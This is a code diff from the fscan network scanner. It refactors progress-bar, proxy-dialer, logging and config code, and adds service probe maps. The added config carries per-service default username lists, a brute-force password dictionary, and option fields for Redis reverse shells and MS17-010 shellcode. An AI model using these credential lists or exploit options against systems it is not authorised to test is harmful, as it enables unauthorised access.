func (pm *ProgressManager) clearProgressArea() {
// 简单清除当前行
fmt.Print("\033[2K\r")
}
// IsActive 检查进度条是否活跃
func (pm *ProgressManager) IsActive() bool {
pm.mu.RLock()
defer pm.mu.RUnlock()
return pm.isActive && pm.enabled
}
// getTerminalHeight 获取终端高度
func getTerminalHeight() int {
// 对于固定底部进度条,我们暂时禁用终端高度检测
// 因为在不同终端环境中可能会有问题
// 改为使用相对定位方式
return 0 // 返回0表示使用简化模式
}
// formatDuration 格式化时间间隔
func formatDuration(d time.Duration) string {
if d < time.Minute {
return fmt.Sprintf("%.1fs", d.Seconds())
} else if d < time.Hour {
return fmt.Sprintf("%.1fm", d.Minutes())
} else {
return fmt.Sprintf("%.1fh", d.Hours())
}
}
// 全局函数,方便其他模块调用
func InitProgressBar(total int64, description string) {
GetProgressManager().InitProgress(total, description)
}
func UpdateProgressBar(increment int64) {
GetProgressManager().UpdateProgress(increment)
}
// =============================================================================================
// 已删除的死代码未使用SetProgressBar 全局函数
// =============================================================================================
func FinishProgressBar() {
GetProgressManager().FinishProgress()
}
func IsProgressActive() bool {
return GetProgressManager().IsActive()
}
// =============================================================================
// 日志输出协调功能
// =============================================================================
// LogWithProgress 在进度条活跃时协调日志输出
func LogWithProgress(message string) {
pm := GetProgressManager()
if !pm.IsActive() {
// 如果进度条不活跃,直接输出
fmt.Println(message)
return
}
pm.outputMutex.Lock()
defer pm.outputMutex.Unlock()
// 清除当前行(清除进度条)
fmt.Print("\033[2K\r")
// 输出日志消息
fmt.Println(message)
// 重绘进度条
pm.renderProgressUnsafe()
}
// renderProgressUnsafe 不加锁的进度条渲染(内部使用)
func (pm *ProgressManager) renderProgressUnsafe() {
if !pm.enabled || !pm.isActive {
return
}
// 移动到行首并清除当前行
fmt.Print("\033[2K\r")
// 生成进度条内容
progressBar := pm.generateProgressBar()
// 输出进度条(带颜色,如果启用)
if NoColor {
fmt.Print(progressBar)
} else {
fmt.Printf("\033[36m%s\033[0m", progressBar) // 青色
}
// 刷新输出
os.Stdout.Sync()
}

View File

@ -1,191 +0,0 @@
package Common
import (
"context"
"crypto/tls"
"errors"
"fmt"
"net"
"net/url"
"strings"
"time"
"golang.org/x/net/proxy"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTcpWithContext 创建一个带上下文的TCP连接
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
d := &net.Dialer{}
return WrapperTCPWithContext(ctx, network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
}
return conn, nil
}
// WrapperTCPWithContext 根据配置创建支持上下文的TCP连接
func WrapperTCPWithContext(ctx context.Context, network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.DialContext(ctx, network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
// 创建一个结果通道来处理连接和取消
connChan := make(chan struct {
conn net.Conn
err error
}, 1)
go func() {
conn, err := dialer.Dial(network, address)
select {
case <-ctx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
select {
case <-ctx.Done():
return nil, ctx.Err()
case result := <-connChan:
if result.err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), result.err)
}
return result.conn, nil
}
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New(GetText("socks5_only"))
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
return dialer, nil
}
// WrapperTlsWithContext 创建一个通过代理的TLS连接
func WrapperTlsWithContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
dialer := &net.Dialer{}
tcpConn, err := dialer.DialContext(ctx, network, address)
if err != nil {
return nil, fmt.Errorf("直连TCP连接失败: %v", err)
}
// 在TCP连接上进行TLS握手
tlsConn := tls.Client(tcpConn, tlsConfig)
// 使用ctx的deadline设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
}
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
return nil, fmt.Errorf("TLS握手失败: %v", err)
}
// 清除deadline让上层代码自己管理超时
tlsConn.SetDeadline(time.Time{})
return tlsConn, nil
}
// Socks5代理模式
// 首先通过代理建立到目标的TCP连接
tcpConn, err := WrapperTcpWithContext(ctx, network, address)
if err != nil {
return nil, fmt.Errorf("通过代理建立TCP连接失败: %v", err)
}
// 在TCP连接上进行TLS握手
tlsConn := tls.Client(tcpConn, tlsConfig)
// 使用ctx的deadline设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
}
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
return nil, fmt.Errorf("TLS握手失败: %v", err)
}
// 清除deadline让上层代码自己管理超时
tlsConn.SetDeadline(time.Time{})
return tlsConn, nil
}

View File

@ -1,59 +0,0 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// 在 Common/const.go 中添加
// 插件类型常量
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
)
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// 添加一个用于检查插件类型的辅助方法
func (p ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}

199
Common/common.go Normal file
View File

@ -0,0 +1,199 @@
package common
/*
common.go - 简化的统一入口
移除所有向后兼容层提供清晰的模块化接口
直接导出各子模块的核心功能避免代码债务
*/
import (
"context"
"crypto/tls"
"fmt"
"net"
"sync"
"time"
"github.com/shadow1ng/fscan/common/core"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/output"
)
// =============================================================================
// 核心类型导出 - 直接从core模块导出
// =============================================================================
type HostInfo = core.HostInfo
type ScanPlugin = core.ScanPlugin
// 插件类型常量
const (
PluginTypeService = core.PluginTypeService
PluginTypeWeb = core.PluginTypeWeb
PluginTypeLocal = core.PluginTypeLocal
PluginTypeBrute = core.PluginTypeBrute
PluginTypePoc = core.PluginTypePoc
PluginTypeScan = core.PluginTypeScan
)
// 全局插件管理器
var PluginManager = core.LegacyPluginManager
// =============================================================================
// 核心功能导出 - 直接调用对应模块
// =============================================================================
// 插件系统
func RegisterPlugin(name string, plugin ScanPlugin) {
if err := core.RegisterPlugin(name, plugin); err != nil {
LogError("Failed to register plugin " + name + ": " + err.Error())
}
}
// GetGlobalPluginManager 函数已删除(死代码清理)
// =============================================================================
// 日志系统简化接口
// =============================================================================
var globalLogger *logging.Logger
var loggerMutex sync.Mutex
func getGlobalLogger() *logging.Logger {
loggerMutex.Lock()
defer loggerMutex.Unlock()
if globalLogger == nil {
level := getLogLevelFromString(LogLevel)
config := &logging.LoggerConfig{
Level: level,
EnableColor: !NoColor,
SlowOutput: SlowLogOutput,
ShowProgress: true,
StartTime: StartTime,
}
globalLogger = logging.NewLogger(config)
if ProgressBar != nil {
globalLogger.SetProgressBar(ProgressBar)
}
globalLogger.SetOutputMutex(&OutputMutex)
// 设置协调输出函数使用LogWithProgress
globalLogger.SetCoordinatedOutput(LogWithProgress)
}
return globalLogger
}
func getLogLevelFromString(levelStr string) logging.LogLevel {
switch levelStr {
case "all", "ALL":
return logging.LevelAll
case "error", "ERROR":
return logging.LevelError
case "base", "BASE":
return logging.LevelBase
case "info", "INFO":
return logging.LevelInfo
case "success", "SUCCESS":
return logging.LevelSuccess
case "debug", "DEBUG":
return logging.LevelDebug
case "info,success":
return logging.LevelInfoSuccess
case "base,info,success", "BASE_INFO_SUCCESS":
return logging.LevelBaseInfoSuccess
default:
return logging.LevelInfoSuccess
}
}
// 日志函数
func InitLogger() {
loggerMutex.Lock()
globalLogger = nil
loggerMutex.Unlock()
getGlobalLogger().Initialize()
}
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
func LogBase(msg string) { getGlobalLogger().Base(msg) }
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
func LogSuccess(result string) { getGlobalLogger().Success(result) }
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
// =============================================================================
// 输出系统简化接口
// =============================================================================
var ResultOutput *output.Manager
func InitOutput() error {
if Outputfile == "" {
return fmt.Errorf("output file not specified")
}
var format output.OutputFormat
switch OutputFormat {
case "txt":
format = output.FormatTXT
case "json":
format = output.FormatJSON
case "csv":
format = output.FormatCSV
default:
return fmt.Errorf("invalid output format: %s", OutputFormat)
}
config := output.DefaultManagerConfig(Outputfile, format)
manager, err := output.NewManager(config)
if err != nil {
return err
}
ResultOutput = manager
return nil
}
func CloseOutput() error {
if ResultOutput == nil {
return nil
}
return ResultOutput.Close()
}
func SaveResult(result *output.ScanResult) error {
if ResultOutput == nil {
return fmt.Errorf("output not initialized")
}
return ResultOutput.SaveResult(result)
}
// =============================================================================
// 网络连接辅助函数
// =============================================================================
// WrapperTcpWithTimeout TCP连接包装器带超时
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
return net.DialTimeout(network, address, timeout)
}
// WrapperTcpWithContext TCP连接包装器带上下文
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
var d net.Dialer
return d.DialContext(ctx, network, address)
}
// WrapperTlsWithContext TLS连接包装器带上下文
func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
d := &tls.Dialer{Config: config}
return d.DialContext(ctx, network, address)
}
// =============================================================================
// 错误处理辅助函数
// =============================================================================
// CheckErrs 检查单个错误 - 简化版本
func CheckErrs(err error) error {
return err
}

View File

@ -0,0 +1,81 @@
package config
import (
"sync"
)
// ProbeMapping 探测器映射管理器
type ProbeMapping struct {
mu sync.RWMutex
defaultMap []string
portMap map[int][]string
initialized bool
}
// NewProbeMapping 创建探测器映射管理器
func NewProbeMapping() *ProbeMapping {
return &ProbeMapping{
defaultMap: getDefaultProbeMap(),
portMap: getDefaultPortMap(),
initialized: true,
}
}
// getDefaultProbeMap 获取默认的探测器顺序
func getDefaultProbeMap() []string {
// 返回常量的副本
result := make([]string, len(DefaultProbeMap))
copy(result, DefaultProbeMap)
return result
}
// getDefaultPortMap 获取默认的端口映射
func getDefaultPortMap() map[int][]string {
// 返回常量的深拷贝
result := make(map[int][]string)
for port, probes := range DefaultPortMap {
probesCopy := make([]string, len(probes))
copy(probesCopy, probes)
result[port] = probesCopy
}
return result
}
// GetDefaultProbes 获取默认探测器列表
func (pm *ProbeMapping) GetDefaultProbes() []string {
pm.mu.RLock()
defer pm.mu.RUnlock()
result := make([]string, len(pm.defaultMap))
copy(result, pm.defaultMap)
return result
}
// GetAllPortMappings 获取所有端口映射
func (pm *ProbeMapping) GetAllPortMappings() map[int][]string {
pm.mu.RLock()
defer pm.mu.RUnlock()
result := make(map[int][]string)
for port, probes := range pm.portMap {
probesCopy := make([]string, len(probes))
copy(probesCopy, probes)
result[port] = probesCopy
}
return result
}
// 全局探测器映射实例
var (
globalProbeMapping *ProbeMapping
probeMappingOnce sync.Once
)
// GetGlobalProbeMapping 获取全局探测器映射实例
func GetGlobalProbeMapping() *ProbeMapping {
probeMappingOnce.Do(func() {
globalProbeMapping = NewProbeMapping()
})
return globalProbeMapping
}

View File

@ -0,0 +1,82 @@
package config
import (
"sync"
)
// ServiceDictionary 服务字典管理器
type ServiceDictionary struct {
mu sync.RWMutex
userDict map[string][]string
passwords []string
initialized bool
}
// NewServiceDictionary 创建服务字典管理器
func NewServiceDictionary() *ServiceDictionary {
return &ServiceDictionary{
userDict: getDefaultUserDict(),
passwords: getDefaultPasswords(),
initialized: true,
}
}
// getDefaultUserDict 获取默认用户字典
func getDefaultUserDict() map[string][]string {
// 返回常量的深拷贝
result := make(map[string][]string)
for service, users := range DefaultUserDict {
usersCopy := make([]string, len(users))
copy(usersCopy, users)
result[service] = usersCopy
}
return result
}
// getDefaultPasswords 获取默认密码字典
func getDefaultPasswords() []string {
// 返回常量的副本
result := make([]string, len(DefaultPasswords))
copy(result, DefaultPasswords)
return result
}
// GetAllUserDicts 获取所有服务的用户字典
func (sd *ServiceDictionary) GetAllUserDicts() map[string][]string {
sd.mu.RLock()
defer sd.mu.RUnlock()
result := make(map[string][]string)
for service, users := range sd.userDict {
usersCopy := make([]string, len(users))
copy(usersCopy, users)
result[service] = usersCopy
}
return result
}
// GetPasswords 获取默认密码字典
func (sd *ServiceDictionary) GetPasswords() []string {
sd.mu.RLock()
defer sd.mu.RUnlock()
// 返回副本,避免外部修改
result := make([]string, len(sd.passwords))
copy(result, sd.passwords)
return result
}
// 全局服务字典实例
var (
globalServiceDict *ServiceDictionary
serviceDictOnce sync.Once
)
// GetGlobalServiceDict 获取全局服务字典实例
func GetGlobalServiceDict() *ServiceDictionary {
serviceDictOnce.Do(func() {
globalServiceDict = NewServiceDictionary()
})
return globalServiceDict
}

154
Common/config/Types.go Normal file
View File

@ -0,0 +1,154 @@
package config
import (
"sync"
"time"
"github.com/schollz/progressbar/v3"
)
// Version 版本信息
type Version struct {
Major int `json:"major"`
Minor int `json:"minor"`
Patch int `json:"patch"`
Full string `json:"full"`
}
// ApplicationConfig 应用程序配置
type ApplicationConfig struct {
Version Version `json:"version"`
ProgressBar *progressbar.ProgressBar `json:"-"`
OutputMutex sync.Mutex `json:"-"`
}
// ScanTargetConfig 扫描目标配置
type ScanTargetConfig struct {
Ports string `json:"ports"` // 要扫描的端口列表
ExcludePorts string `json:"exclude_ports"` // 要排除的端口列表
ExcludeHosts string `json:"exclude_hosts"` // 要排除的主机列表
AddPorts string `json:"add_ports"` // 额外添加的端口列表
HostPort []string `json:"host_port"` // 主机:端口格式的目标列表
}
// CredentialConfig 认证凭据配置
type CredentialConfig struct {
Username string `json:"username"` // 用于认证的用户名
Password string `json:"password"` // 用于认证的密码
AddUsers string `json:"add_users"` // 额外添加的用户名列表
AddPasswords string `json:"add_passwords"` // 额外添加的密码列表
Domain string `json:"domain"` // Active Directory/SMB域名
HashValue string `json:"hash_value"` // 用于哈希认证的单个哈希值
HashValues []string `json:"hash_values"` // 哈希值列表
HashBytes [][]byte `json:"-"` // 二进制格式的哈希值列表
HashFile string `json:"hash_file"` // 包含哈希值的文件路径
SshKeyPath string `json:"ssh_key_path"` // SSH私钥文件路径
}
// ScanControlConfig 扫描控制配置
type ScanControlConfig struct {
ScanMode string `json:"scan_mode"` // 扫描模式或指定的插件列表
ThreadNum int `json:"thread_num"` // 并发扫描线程数
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
LiveTop int `json:"live_top"` // 显示的存活主机排名数量
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
UsePing bool `json:"use_ping"` // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
}
// InputFileConfig 输入文件配置
type InputFileConfig struct {
HostsFile string `json:"hosts_file"` // 包含目标主机的文件路径
UsersFile string `json:"users_file"` // 包含用户名列表的文件路径
PasswordsFile string `json:"passwords_file"` // 包含密码列表的文件路径
PortsFile string `json:"ports_file"` // 包含端口列表的文件路径
}
// WebScanConfig Web扫描配置
type WebScanConfig struct {
TargetURL string `json:"target_url"` // 单个目标URL
URLsFile string `json:"urls_file"` // 包含URL列表的文件路径
URLs []string `json:"urls"` // 解析后的URL目标列表
WebTimeout int64 `json:"web_timeout"` // Web请求超时时间(秒)
HttpProxy string `json:"http_proxy"` // HTTP代理地址
Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理地址
}
// VulnExploitConfig POC与漏洞利用配置
type VulnExploitConfig struct {
// POC配置
PocPath string `json:"poc_path"` // POC脚本路径
PocInfo PocInfo `json:"poc_info"` // POC详细信息结构
DisablePocScan bool `json:"disable_poc_scan"` // 是否禁用POC扫描
// Redis利用
RedisFile string `json:"redis_file"` // Redis利用目标文件
RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
DisableRedis bool `json:"disable_redis"` // 是否禁用Redis利用测试
RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
// 其他漏洞利用
Shellcode string `json:"shellcode"` // 用于MS17010等漏洞利用的Shellcode
}
// BruteForceConfig 暴力破解控制配置
type BruteForceConfig struct {
DisableBrute bool `json:"disable_brute"` // 是否禁用暴力破解模块
MaxRetries int `json:"max_retries"` // 连接失败最大重试次数
}
// DisplayConfig 输出与显示配置
type DisplayConfig struct {
DisableSave bool `json:"disable_save"` // 是否禁止保存扫描结果
Silent bool `json:"silent"` // 是否启用静默模式
NoColor bool `json:"no_color"` // 是否禁用彩色输出
LogLevel string `json:"log_level"` // 日志输出级别
ShowProgress bool `json:"show_progress"` // 是否显示进度条
ShowScanPlan bool `json:"show_scan_plan"` // 是否显示扫描计划详情
SlowLogOutput bool `json:"slow_log_output"` // 是否启用慢速日志输出
Language string `json:"language"` // 界面语言设置
}
// OutputConfig 输出配置
type OutputConfig struct {
Outputfile string `json:"output_file"` // 输出文件路径
OutputFormat string `json:"output_format"` // 输出格式
}
// NetworkConfig 网络配置
type NetworkConfig struct {
UserAgent string `json:"user_agent"` // 用户代理字符串
Accept string `json:"accept"` // Accept头部
DnsLog bool `json:"dns_log"` // 是否启用DNS日志
PocNum int `json:"poc_num"` // POC并发数
PocFull bool `json:"poc_full"` // 是否启用完整POC扫描
Cookie string `json:"cookie"` // Cookie字符串
}
// PocInfo POC详细信息结构
type PocInfo struct {
Target string `json:"target"`
PocName string `json:"poc_name"`
}
// Config 完整的配置结构
type Config struct {
Application *ApplicationConfig `json:"application"`
ScanTarget *ScanTargetConfig `json:"scan_target"`
Credential *CredentialConfig `json:"credential"`
ScanControl *ScanControlConfig `json:"scan_control"`
InputFile *InputFileConfig `json:"input_file"`
WebScan *WebScanConfig `json:"web_scan"`
VulnExploit *VulnExploitConfig `json:"vuln_exploit"`
BruteForce *BruteForceConfig `json:"brute_force"`
Display *DisplayConfig `json:"display"`
Output *OutputConfig `json:"output"`
Network *NetworkConfig `json:"network"`
LastUpdated time.Time `json:"last_updated"`
}

192
Common/config/constants.go Normal file
View File

@ -0,0 +1,192 @@
package config
// 默认探测器列表
var DefaultProbeMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
// 默认端口映射关系
var DefaultPortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
264: {"GenericLines"},
311: {"LDAPSearchReq"},
340: {"GenericLines"},
389: {"LDAPSearchReq", "LDAPBindReq"},
443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
444: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
445: {"SMBProgNeg"},
465: {"Hello", "Help", "GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie"},
502: {"GenericLines"},
503: {"GenericLines"},
513: {"GenericLines"},
514: {"GenericLines"},
515: {"LPDString"},
544: {"GenericLines"},
548: {"afp"},
554: {"GetRequest"},
563: {"GenericLines"},
587: {"Hello", "Help"},
631: {"GetRequest", "HTTPOptions"},
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
646: {"LDAPSearchReq", "RPCCheck"},
691: {"GenericLines"},
873: {"GenericLines"},
898: {"GetRequest"},
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
1080: {"GenericLines", "Socks5", "Socks4"},
1099: {"JavaRMI"},
1234: {"SqueezeCenter_CLI"},
1311: {"GenericLines"},
1352: {"oracle-tns"},
1414: {"ibm-mqseries"},
1433: {"ms-sql-s"},
1521: {"oracle-tns"},
1723: {"GenericLines"},
1883: {"mqtt"},
1911: {"oracle-tns"},
2000: {"GenericLines", "oracle-tns"},
2049: {"RPCCheck"},
2121: {"GenericLines", "Help"},
2181: {"GenericLines"},
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
2375: {"docker", "GetRequest", "HTTPOptions"},
2376: {"docker", "GetRequest", "HTTPOptions", "SSLSessionReq"},
2484: {"oracle-tns"},
2628: {"dominoconsole"},
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
3389: {"TerminalServerCookie", "TerminalServer"},
3690: {"GenericLines"},
4000: {"GenericLines"},
4369: {"epmd"},
4444: {"GenericLines"},
4840: {"GenericLines"},
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
5050: {"GenericLines"},
5060: {"SIPOptions"},
5222: {"GenericLines"},
5432: {"GenericLines"},
5555: {"GenericLines"},
5560: {"GenericLines", "oracle-tns"},
5631: {"GenericLines", "PCWorkstation"},
5672: {"GenericLines"},
5984: {"GetRequest", "HTTPOptions"},
6000: {"X11Probe"},
6379: {"redis-server"},
6432: {"GenericLines"},
6667: {"GenericLines"},
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
7443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
7777: {"GenericLines", "oracle-tns"},
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9042: {"GenericLines"},
9092: {"GenericLines", "kafka"},
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
9300: {"GenericLines"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10051: {"GenericLines"},
11211: {"Memcache"},
15672: {"GetRequest", "HTTPOptions"},
27017: {"mongodb"},
27018: {"mongodb"},
50070: {"GetRequest", "HTTPOptions"},
61616: {"GenericLines"},
}
// 默认服务用户字典
var DefaultUserDict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
// 默认密码字典
var DefaultPasswords = []string{
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
"password", "Password", "P@ssword123", "123123", "654321", "111111",
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
"1q2w3e", "Charge123", "Aa123456789", "elastic123",
}

168
Common/globals.go Normal file
View File

@ -0,0 +1,168 @@
package common
import (
"sync"
"time"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/common/core"
"github.com/shadow1ng/fscan/common/logging"
)
/*
globals.go - 全局变量定义
直接导出core模块的变量避免兼容层重定向
这些变量被Flag.go和其他模块直接使用
*/
// =============================================================================
// 版本信息
// =============================================================================
var version = "2.0.2"
// =============================================================================
// 核心扫描配置 - 直接使用core包变量
// =============================================================================
var (
ScanMode string // 扫描模式
ThreadNum int // 线程数
Timeout int64 // 超时时间
DisablePing bool // 禁用ping
LocalMode bool // 本地模式
)
// =============================================================================
// 基础认证配置 - 直接定义
// =============================================================================
var (
Username string // 用户名
Password string // 密码
Userdict map[string][]string // 用户字典
Passwords []string // 密码列表
)
// =============================================================================
// 网络配置 - 直接定义
// =============================================================================
var (
HttpProxy string // HTTP代理
Socks5Proxy string // SOCKS5代理
)
// =============================================================================
// 显示控制 - 直接定义
// =============================================================================
var (
NoColor bool // 禁用颜色
Language string // 语言
LogLevel string // 日志级别
)
// =============================================================================
// 端口映射 - 直接定义
